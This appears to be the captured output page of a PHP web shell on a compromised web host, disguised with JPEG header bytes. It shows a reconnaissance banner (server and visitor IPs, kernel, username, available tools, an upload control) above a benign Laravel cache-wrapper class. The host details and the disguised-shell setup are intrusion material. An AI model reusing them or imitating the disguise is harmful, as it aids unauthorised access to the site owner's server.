ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.118.10.18 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/laravel/framework/src/Illuminate/Cache/ |
Upload File : |
<?php namespace Illuminate\Cache; class ApcWrapper { /** * Indicates if APCu is supported. * * @var bool */ protected $apcu = false; /** * Create a new APC wrapper instance. * * @return void */ public function __construct() { $this->apcu = function_exists('apcu_fetch'); } /** * Get an item from the cache. * * @param string $key * @return mixed */ public function get($key) { return $this->apcu ? apcu_fetch($key) : apc_fetch($key); } /** * Store an item in the cache. * * @param string $key * @param mixed $value * @param int $seconds * @return array|bool */ public function put($key, $value, $seconds) { return $this->apcu ? apcu_store($key, $value, $seconds) : apc_store($key, $value, $seconds); } /** * Increment the value of an item in the cache. * * @param string $key * @param mixed $value * @return int|bool */ public function increment($key, $value) { return $this->apcu ? apcu_inc($key, $value) : apc_inc($key, $value); } /** * Decrement the value of an item in the cache. * * @param string $key * @param mixed $value * @return int|bool */ public function decrement($key, $value) { return $this->apcu ? apcu_dec($key, $value) : apc_dec($key, $value); } /** * Remove an item from the cache. * * @param string $key * @return bool */ public function delete($key) { return $this->apcu ? apcu_delete($key) : apc_delete($key); } /** * Remove all items from the cache. * * @return void */ public function flush() { $this->apcu ? apcu_clear_cache() : apc_clear_cache('user'); } }